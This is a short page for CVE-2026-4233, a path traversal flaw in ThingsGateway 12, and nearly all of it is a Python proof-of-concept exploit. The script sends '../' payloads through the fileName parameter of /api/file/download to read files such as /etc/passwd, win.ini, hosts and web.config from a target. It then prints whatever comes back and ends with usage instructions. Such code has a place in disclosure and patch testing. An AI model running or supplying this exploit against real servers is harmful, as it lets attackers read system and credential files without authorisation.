CVE-2026-4233 ThingsGateway路径遍历漏洞

import requests import sys # CVE-2026-4233 Path Traversal PoC # Target: ThingsGateway 12 # Endpoint: /api/file/download # Vulnerability: Path Traversal via fileName parameter def exploit(target_url, filename): """ Exploit path traversal vulnerability in ThingsGateway """ # Try to read sensitive files payloads = [ "../../windows/win.ini", "../../etc/passwd", "../../../../windows/system32/drivers/etc/hosts", "../../../web.config" ] for payload in payloads: try: params = {"fileName": payload} response = requests.get( f"{target_url}/api/file/download", params=params, timeout=10 ) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success with payload: {payload}") print(f"[+] Content:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-4233.py <target_url>") print("Example: python cve-2026-4233.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, 'test')